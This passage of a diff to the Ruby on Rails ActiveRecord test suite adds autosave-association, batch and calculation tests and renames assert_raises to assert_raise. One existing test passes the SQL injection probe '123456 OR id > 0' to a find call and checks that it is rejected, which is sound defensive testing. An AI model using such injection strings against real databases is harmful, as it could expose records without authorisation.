+ assert log.save
+ end
+
+ def test_assignment_before_parent_saved
+ client = Client.find(:first)
+ apple = Firm.new("name" => "Apple")
+ client.firm = apple
+ assert_equal apple, client.firm
+ assert apple.new_record?
+ assert client.save
+ assert apple.save
+ assert !apple.new_record?
+ assert_equal apple, client.firm
+ assert_equal apple, client.firm(true)
+ end
+
+ def test_assignment_before_either_saved
+ final_cut = Client.new("name" => "Final Cut")
+ apple = Firm.new("name" => "Apple")
+ final_cut.firm = apple
+ assert final_cut.new_record?
+ assert apple.new_record?
+ assert final_cut.save
+ assert !final_cut.new_record?
+ assert !apple.new_record?
+ assert_equal apple, final_cut.firm
+ assert_equal apple, final_cut.firm(true)
+ end
+
+ def test_store_two_association_with_one_save
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.new
+
+ customer1 = order.billing = Customer.new
+ customer2 = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer1, order.billing
+ assert_equal customer2, order.shipping
+
+ order.reload
+
+ assert_equal customer1, order.billing
+ assert_equal customer2, order.shipping
+
+ assert_equal num_orders +1, Order.count
+ assert_equal num_customers +2, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.new
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders +1, Order.count
+ assert_equal num_customers +1, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save_in_existing_object
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.create
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders +1, Order.count
+ assert_equal num_customers +1, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.create
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ customer = order.billing = order.shipping = Customer.new
+
+ assert order.save
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders +1, Order.count
+ assert_equal num_customers +2, Customer.count
+ end
+end
+
+class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+ fixtures :companies, :people
+
+ def test_invalid_adding
+ firm = Firm.find(1)
+ assert !(firm.clients_of_firm << c = Client.new)
+ assert c.new_record?
+ assert !firm.valid?
+ assert !firm.save
+ assert c.new_record?
+ end
+
+ def test_invalid_adding_before_save
+ no_of_firms = Firm.count
+ no_of_clients = Client.count
+ new_firm = Firm.new("name" => "A New Firm, Inc")
+ new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
+ assert c.new_record?
+ assert !c.valid?
+ assert !new_firm.valid?
+ assert !new_firm.save
+ assert c.new_record?
+ assert new_firm.new_record?
+ end
+
+ def test_invalid_adding_with_validate_false
+ firm = Firm.find(:first)
+ client = Client.new
+ firm.unvalidated_clients_of_firm << client
+
+ assert firm.valid?
+ assert !client.valid?
+ assert firm.save
+ assert client.new_record?
+ end
+
+ def test_valid_adding_with_validate_false
+ no_of_clients = Client.count
+
+ firm = Firm.find(:first)
+ client = Client.new("name" => "Apple")
+
+ assert firm.valid?
+ assert client.valid?
+ assert client.new_record?
+
+ firm.unvalidated_clients_of_firm << client
+
+ assert firm.save
+ assert !client.new_record?
+ assert_equal no_of_clients+1, Client.count
+ end
+
+ def test_invalid_build
+ new_client = companies(:first_firm).clients_of_firm.build
+ assert new_client.new_record?
+ assert !new_client.valid?
+ assert_equal new_client, companies(:first_firm).clients_of_firm.last
+ assert !companies(:first_firm).save
+ assert new_client.new_record?
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_adding_before_save
+ no_of_firms = Firm.count
+ no_of_clients = Client.count
+
+ new_firm = Firm.new("name" => "A New Firm, Inc")
+ c = Client.new("name" => "Apple")
+
+ new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
+ assert_equal 1, new_firm.clients_of_firm.size
+ new_firm.clients_of_firm << c
+ assert_equal 2, new_firm.clients_of_firm.size
+
+ assert_equal no_of_firms, Firm.count # Firm was not saved to database.
+ assert_equal no_of_clients, Client.count # Clients were not saved to database.
+ assert new_firm.save
+ assert !new_firm.new_record?
+ assert !c.new_record?
+ assert_equal new_firm, c.firm
+ assert_equal no_of_firms+1, Firm.count # Firm was saved to database.
+ assert_equal no_of_clients+2, Client.count # Clients were saved to database.
+
+ assert_equal 2, new_firm.clients_of_firm.size
+ assert_equal 2, new_firm.clients_of_firm(true).size
+ end
+
+ def test_assign_ids
+ firm = Firm.new("name" => "Apple")
+ firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
+ firm.save
+ firm.reload
+ assert_equal 2, firm.clients.length
+ assert firm.clients.include?(companies(:second_client))
+ end
+
+ def test_assign_ids_for_through_a_belongs_to
+ post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
+ post.person_ids = [people(:david).id, people(:michael).id]
+ post.save
+ post.reload
+ assert_equal 2, post.people.length
+ assert post.people.include?(people(:david))
+ end
+
+ def test_build_before_save
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+ assert !company.clients_of_firm.loaded?
+
+ company.name += '-changed'
+ assert_queries(2) { assert company.save }
+ assert !new_client.new_record?
+ assert_equal 2, company.clients_of_firm(true).size
+ end
+
+ def test_build_many_before_save
+ company = companies(:first_firm)
+ new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+
+ company.name += '-changed'
+ assert_queries(3) { assert company.save }
+ assert_equal 3, company.clients_of_firm(true).size
+ end
+
+ def test_build_via_block_before_save
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+ assert !company.clients_of_firm.loaded?
+
+ company.name += '-changed'
+ assert_queries(2) { assert company.save }
+ assert !new_client.new_record?
+ assert_equal 2, company.clients_of_firm(true).size
+ end
+
+ def test_build_many_via_block_before_save
+ company = companies(:first_firm)
+ new_clients = assert_no_queries do
+ company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
+ client.name = "changed"
+ end
+ end
+
+ company.name += '-changed'
+ assert_queries(3) { assert company.save }
+ assert_equal 3, company.clients_of_firm(true).size
+ end
+
+ def test_replace_on_new_object
+ firm = Firm.new("name" => "New Firm")
+ firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+ assert firm.save
+ firm.reload
+ assert_equal 2, firm.clients.length
+ assert firm.clients.include?(Client.find_by_name("New Client"))
+ end
+end
+
+class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ # reload
+ def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
+ @pirate.mark_for_destruction
+ @pirate.ship.mark_for_destruction
+
+ assert !@pirate.reload.marked_for_destruction?
+ assert !@pirate.ship.marked_for_destruction?
+ end
+
+ # has_one
+ def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+ assert !@pirate.ship.marked_for_destruction?
+
+ @pirate.ship.mark_for_destruction
+ id = @pirate.ship.id
+
+ assert @pirate.ship.marked_for_destruction?
+ assert Ship.find_by_id(id)
+
+ @pirate.save
+ assert_nil @pirate.reload.ship
+ assert_nil Ship.find_by_id(id)
+ end
+
+ def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
+ @pirate.ship.name = ''
+ assert !@pirate.valid?
+
+ @pirate.ship.mark_for_destruction
+ assert_difference('Ship.count', -1) { @pirate.save! }
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
+ # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
+ class << @pirate.ship
+ def save(*args)
+ super
+ destroy
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_not_nil @pirate.reload.ship
+ end
+
+ # belongs_to
+ def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+ assert !@ship.pirate.marked_for_destruction?
+
+ @ship.pirate.mark_for_destruction
+ id = @ship.pirate.id
+
+ assert @ship.pirate.marked_for_destruction?
+ assert Pirate.find_by_id(id)
+
+ @ship.save
+ assert_nil @ship.reload.pirate
+ assert_nil Pirate.find_by_id(id)
+ end
+
+ def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
+ @ship.pirate.catchphrase = ''
+ assert !@ship.valid?
+
+ @ship.pirate.mark_for_destruction
+ assert_difference('Pirate.count', -1) { @ship.save! }
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
+ # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
+ class << @ship.pirate
+ def save(*args)
+ super
+ destroy
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@ship.save }
+ assert_not_nil @ship.reload.pirate
+ end
+
+ # has_many & has_and_belongs_to
+ %w{ parrots birds }.each do |association_name|
+ define_method("test_should_destroy_#{association_name}_as_part_of_the_save_transaction_if_they_were_marked_for_destroyal") do
+ 2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+
+ assert !@pirate.send(association_name).any? { |child| child.marked_for_destruction? }
+
+ @pirate.send(association_name).each { |child| child.mark_for_destruction }
+ klass = @pirate.send(association_name).first.class
+ ids = @pirate.send(association_name).map(&:id)
+
+ assert @pirate.send(association_name).all? { |child| child.marked_for_destruction? }
+ ids.each { |id| assert klass.find_by_id(id) }
+
+ @pirate.save
+ assert @pirate.reload.send(association_name).empty?
+ ids.each { |id| assert_nil klass.find_by_id(id) }
+ end
+
+ define_method("test_should_skip_validation_on_the_#{association_name}_association_if_marked_for_destruction") do
+ 2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+ children = @pirate.send(association_name)
+
+ children.each { |child| child.name = '' }
+ assert !@pirate.valid?
+
+ children.each { |child| child.mark_for_destruction }
+ assert_difference("#{association_name.classify}.count", -2) { @pirate.save! }
+ end
+
+ define_method("test_should_rollback_destructions_if_an_exception_occurred_while_saving_#{association_name}") do
+ 2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+ before = @pirate.send(association_name).map { |c| c }
+
+ # Stub the save method of the first child to destroy and the second to raise an exception
+ class << before.first
+ def save(*args)
+ super
+ destroy
+ end
+ end
+ class << before.last
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, @pirate.reload.send(association_name)
+ end
+
+ # Add and remove callbacks tests for association collections.
+ %w{ method proc }.each do |callback_type|
+ define_method("test_should_run_add_callback_#{callback_type}s_for_#{association_name}") do
+ association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
+
+ pirate = Pirate.new(:catchphrase => "Arr")
+ pirate.send(association_name_with_callbacks).build(:name => "Crowe the One-Eyed")
+
+ expected = [
+ "before_adding_#{callback_type}_#{association_name.singularize}_<new>",
+ "after_adding_#{callback_type}_#{association_name.singularize}_<new>"
+ ]
+
+ assert_equal expected, pirate.ship_log
+ end
+
+ define_method("test_should_run_remove_callback_#{callback_type}s_for_#{association_name}") do
+ association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
+
+ @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
+ @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+ child_id = @pirate.send(association_name_with_callbacks).first.id
+
+ @pirate.ship_log.clear
+ @pirate.save
+
+ expected = [
+ "before_removing_#{callback_type}_#{association_name.singularize}_#{child_id}",
+ "after_removing_#{callback_type}_#{association_name.singularize}_#{child_id}"
+ ]
+
+ assert_equal expected, @pirate.ship_log
+ end
+ end
+ end
+end
+
+class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ def test_should_still_work_without_an_associated_model
+ @ship.destroy
+ @pirate.reload.catchphrase = "Arr"
+ @pirate.save
+ assert 'Arr', @pirate.reload.catchphrase
+ end
+
+ def test_should_automatically_save_the_associated_model
+ @pirate.ship.name = 'The Vile Insanity'
+ @pirate.save
+ assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+ end
+
+ def test_should_automatically_save_bang_the_associated_model
+ @pirate.ship.name = 'The Vile Insanity'
+ @pirate.save!
+ assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+ end
+
+ def test_should_automatically_validate_the_associated_model
+ @pirate.ship.name = ''
+ assert !@pirate.valid?
+ assert !@pirate.errors.on(:ship_name).blank?
+ end
+
+ def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+ @pirate.ship.name = nil
+ @pirate.catchphrase = nil
+ assert !@pirate.valid?
+ assert !@pirate.errors.on(:ship_name).blank?
+ assert !@pirate.errors.on(:catchphrase).blank?
+ end
+
+ def test_should_still_allow_to_bypass_validations_on_the_associated_model
+ @pirate.catchphrase = ''
+ @pirate.ship.name = ''
+ @pirate.save(false)
+ assert_equal ['', ''], [@pirate.reload.catchphrase, @pirate.ship.name]
+ end
+
+ def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
+ 2.times { |i| @pirate.ship.parts.create!(:name => "part #{i}") }
+
+ @pirate.catchphrase = ''
+ @pirate.ship.name = ''
+ @pirate.ship.parts.each { |part| part.name = '' }
+ @pirate.save(false)
+
+ values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
+ assert_equal ['', '', '', ''], values
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @pirate.ship.name = ''
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @pirate.save!
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@pirate.catchphrase, @pirate.ship.name]
+
+ @pirate.catchphrase = 'Arr'
+ @pirate.ship.name = 'The Vile Insanity'
+
+ # Stub the save method of the @pirate.ship instance to raise an exception
+ class << @pirate.ship
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
+ end
+
+ def test_should_not_load_the_associated_model
+ assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+ end
+end
+
+class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @ship = Ship.create(:name => 'Nights Dirty Lightning')
+ @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ def test_should_still_work_without_an_associated_model
+ @pirate.destroy
+ @ship.reload.name = "The Vile Insanity"
+ @ship.save
+ assert 'The Vile Insanity', @ship.reload.name
+ end
+
+ def test_should_automatically_save_the_associated_model
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.save
+ assert_equal 'Arr', @ship.reload.pirate.catchphrase
+ end
+
+ def test_should_automatically_save_bang_the_associated_model
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.save!
+ assert_equal 'Arr', @ship.reload.pirate.catchphrase
+ end
+
+ def test_should_automatically_validate_the_associated_model
+ @ship.pirate.catchphrase = ''
+ assert !@ship.valid?
+ assert !@ship.errors.on(:pirate_catchphrase).blank?
+ end
+
+ def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
+ @ship.name = nil
+ @ship.pirate.catchphrase = nil
+ assert !@ship.valid?
+ assert !@ship.errors.on(:name).blank?
+ assert !@ship.errors.on(:pirate_catchphrase).blank?
+ end
+
+ def test_should_still_allow_to_bypass_validations_on_the_associated_model
+ @ship.pirate.catchphrase = ''
+ @ship.name = ''
+ @ship.save(false)
+ assert_equal ['', ''], [@ship.reload.name, @ship.pirate.catchphrase]
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @ship.pirate.catchphrase = ''
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @ship.save!
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@ship.pirate.catchphrase, @ship.name]
+
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.name = 'The Vile Insanity'
+
+ # Stub the save method of the @ship.pirate instance to raise an exception
+ class << @ship.pirate
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@ship.save }
+ # TODO: Why does using reload on @ship looses the associated pirate?
+ assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
+ end
+
+ def test_should_not_load_the_associated_model
+ assert_queries(1) { @ship.name = 'The Vile Insanity'; @ship.save! }
+ end
+end
+
+module AutosaveAssociationOnACollectionAssociationTests
+ def test_should_automatically_save_the_associated_models
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ @pirate.save
+ assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+ end
+
+ def test_should_automatically_save_bang_the_associated_models
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ @pirate.save!
+ assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+ end
+
+ def test_should_automatically_validate_the_associated_models
+ @pirate.send(@association_name).each { |child| child.name = '' }
+
+ assert !@pirate.valid?
+ assert_equal "can't be blank", @pirate.errors.on("#{@association_name}_name")
+ assert @pirate.errors.on(@association_name).blank?
+ end
+
+ def test_should_not_use_default_invalid_error_on_associated_models
+ @pirate.send(@association_name).build(:name => '')
+
+ assert !@pirate.valid?
+ assert_equal "can't be blank", @pirate.errors.on("#{@association_name}_name")
+ assert @pirate.errors.on(@association_name).blank?
+ end
+
+ def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+ @pirate.send(@association_name).each { |child| child.name = '' }
+ @pirate.catchphrase = nil
+
+ assert !@pirate.valid?
+ assert_equal "can't be blank", @pirate.errors.on("#{@association_name}_name")
+ assert !@pirate.errors.on(:catchphrase).blank?
+ end
+
+ def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
+ @pirate.catchphrase = ''
+ @pirate.send(@association_name).each { |child| child.name = '' }
+
+ assert @pirate.save(false)
+ assert_equal ['', '', ''], [
+ @pirate.reload.catchphrase,
+ @pirate.send(@association_name).first.name,
+ @pirate.send(@association_name).last.name
+ ]
+ end
+
+ def test_should_validation_the_associated_models_on_create
+ assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
+ 2.times { @pirate.send(@association_name).build }
+ @pirate.save(true)
+ end
+ end
+
+ def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
+ assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", +2) do
+ 2.times { @pirate.send(@association_name).build }
+ @pirate.save(false)
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
+ new_names = ['Grace OMalley', 'Privateers Greed']
+
+ @pirate.catchphrase = 'Arr'
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ # Stub the save method of the first child instance to raise an exception
+ class << @pirate.send(@association_name).first
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @pirate.send(@association_name).each { |child| child.name = '' }
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @pirate.save!
+ end
+ end
+
+ def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
+ assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+
+ @pirate.send(@association_name).class # hack to load the target
+
+ assert_queries(3) do
+ @pirate.catchphrase = 'Yarr'
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+ @pirate.save!
+ end
+ end
+end
+
+class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @association_name = :birds
+
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
+ @child_2 = @pirate.birds.create(:name => 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @association_name = :parrots
+ @habtm = true
+
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end \ No newline at end of file
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index 973bb567bd..99d77961fc 100755
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -424,8 +424,8 @@ class BasicsTest < ActiveRecord::TestCase
def test_non_attribute_access_and_assignment
topic = Topic.new
assert !topic.respond_to?("mumbo")
- assert_raises(NoMethodError) { topic.mumbo }
- assert_raises(NoMethodError) { topic.mumbo = 5 }
+ assert_raise(NoMethodError) { topic.mumbo }
+ assert_raise(NoMethodError) { topic.mumbo = 5 }
end
def test_preserving_date_objects
@@ -490,7 +490,7 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_record_not_found_exception
- assert_raises(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
+ assert_raise(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
end
def test_initialize_with_attributes
@@ -848,7 +848,7 @@ class BasicsTest < ActiveRecord::TestCase
client.delete
assert client.frozen?
assert_kind_of Firm, client.firm
- assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+ assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
end
def test_destroy_new_record
@@ -862,7 +862,7 @@ class BasicsTest < ActiveRecord::TestCase
client.destroy
assert client.frozen?
assert_kind_of Firm, client.firm
- assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+ assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
end
def test_update_attribute
@@ -910,8 +910,8 @@ class BasicsTest < ActiveRecord::TestCase
def test_mass_assignment_should_raise_exception_if_accessible_and_protected_attribute_writers_are_both_used
topic = TopicWithProtectedContentAndAccessibleAuthorName.new
- assert_raises(RuntimeError) { topic.attributes = { "author_name" => "me" } }
- assert_raises(RuntimeError) { topic.attributes = { "content" => "stuff" } }
+ assert_raise(RuntimeError) { topic.attributes = { "author_name" => "me" } }
+ assert_raise(RuntimeError) { topic.attributes = { "content" => "stuff" } }
end
def test_mass_assignment_protection
@@ -949,7 +949,7 @@ class BasicsTest < ActiveRecord::TestCase
def test_mass_assigning_invalid_attribute
firm = Firm.new
- assert_raises(ActiveRecord::UnknownAttributeError) do
+ assert_raise(ActiveRecord::UnknownAttributeError) do
firm.attributes = { "id" => 5, "type" => "Client", "i_dont_even_exist" => 20 }
end
end
@@ -1402,7 +1402,7 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_sql_injection_via_find
- assert_raises(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
Topic.find("123456 OR id > 0")
end
end
@@ -1755,6 +1755,13 @@ class BasicsTest < ActiveRecord::TestCase
end
end
+ def test_scoped_find_with_group_and_having
+ developers = Developer.with_scope(:find => { :group => 'salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
+ Developer.find(:all)
+ end
+ assert_equal 3, developers.size
+ end
+
def test_find_last
last = Developer.find :last
assert_equal last, Developer.find(:first, :order => 'id desc')
@@ -1783,6 +1790,11 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal last, Developer.find(:all, :order => 'developers.name, developers.salary DESC').last
end
+ def test_find_symbol_ordered_last
+ last = Developer.find :last, :order => :salary
+ assert_equal last, Developer.find(:all, :order => :salary).last
+ end
+
def test_find_scoped_ordered_last
last_developer = Developer.with_scope(:find => { :order => 'developers.salary ASC' }) do
Developer.find(:last)
@@ -2092,18 +2104,4 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal custom_datetime, parrot[attribute]
end
end
-
- private
- def with_kcode(kcode)
- if RUBY_VERSION < '1.9'
- orig_kcode, $KCODE = $KCODE, kcode
- begin
- yield
- ensure
- $KCODE = orig_kcode
- end
- else
- yield
- end
- end
end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
new file mode 100644
index 0000000000..5009a90846
--- /dev/null
+++ b/activerecord/test/cases/batches_test.rb
@@ -0,0 +1,61 @@
+require 'cases/helper'
+require 'models/post'
+
+class EachTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def setup
+ @posts = Post.all(:order => "id asc")
+ @total = Post.count
+ end
+
+ def test_each_should_excecute_one_query_per_batch
+ assert_queries(Post.count + 1) do
+ Post.find_each(:batch_size => 1) do |post|
+ assert_kind_of Post, post
+ end
+ end
+ end
+
+ def test_each_should_raise_if_the_order_is_set
+ assert_raise(RuntimeError) do
+ Post.find_each(:order => "title") { |post| post }
+ end
+ end
+
+ def test_each_should_raise_if_the_limit_is_set
+ assert_raise(RuntimeError) do
+ Post.find_each(:limit => 1) { |post| post }
+ end
+ end
+
+ def test_find_in_batches_should_return_batches
+ assert_queries(Post.count + 1) do
+ Post.find_in_batches(:batch_size => 1) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ def test_find_in_batches_should_start_from_the_start_option
+ assert_queries(Post.count) do
+ Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ def test_find_in_batches_shouldnt_excute_query_unless_needed
+ post_count = Post.count
+
+ assert_queries(2) do
+ Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
+ end
+
+ assert_queries(1) do
+ Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
+ end
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 080f6a7007..56dcdea110 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -92,6 +92,14 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 60, c[2]
end
+ def test_should_group_by_summed_field_having_sanitized_condition
+ c = Account.sum(:credit_limit, :group => :firm_id,
+ :having => ['sum(credit_limit) > ?', 50])
+ assert_nil c[1]
+ assert_equal 105, c[6]
+ assert_equal 60, c[2]
+ end
+
def test_should_group_by_summed_association
c = Account.sum(:credit_limit, :group => :firm)
assert_equal 50, c[companies(:first_firm)]
@@ -156,25 +164,23 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 1, c[companies(:first_client)]
end
- uses_mocha 'group_by_non_numeric_foreign_key_association' do
- def test_should_group_by_association_with_non_numeric_foreign_key
- ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
+ def test_should_group_by_association_with_non_numeric_foreign_key
+ ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
- firm = mock()
- firm.expects(:id).returns("ABC")
- firm.expects(:class).returns(Firm)
- Company.expects(:find).with(["ABC"]).returns([firm])
+ firm = mock()
+ firm.expects(:id).returns("ABC")
+ firm.expects(:class).returns(Firm)
+ Company.expects(:find).with(["ABC"]).returns([firm])
- column = mock()
- column.expects(:name).at_least_once.returns(:firm_id)
- column.expects(:type_cast).with("ABC").returns("ABC")
- Account.expects(:columns).at_least_once.returns([column])
+ column = mock()
+ column.expects(:name).at_least_once.returns(:firm_id)
+ column.expects(:type_cast).with("ABC").returns("ABC")
+ Account.expects(:columns).at_least_once.returns([column])
- c = Account.count(:all, :group => :firm)
- first_key = c.keys.first
- assert_equal Firm, first_key.class
- assert_equal 1, c[first_key]
- end
+ c = Account.count(:all, :group => :firm)
+ first_key = c.keys.first
+ assert_equal Firm, first_key.class
+ assert_equal 1, c[first_key]
end
def test_should_calculate_grouped_association_with_foreign_key_option
@@ -249,8 +255,8 @@ class CalculationsTest < ActiveRecord::TestCase
Company.send(:validate_calculation_options, :count, :include => true)
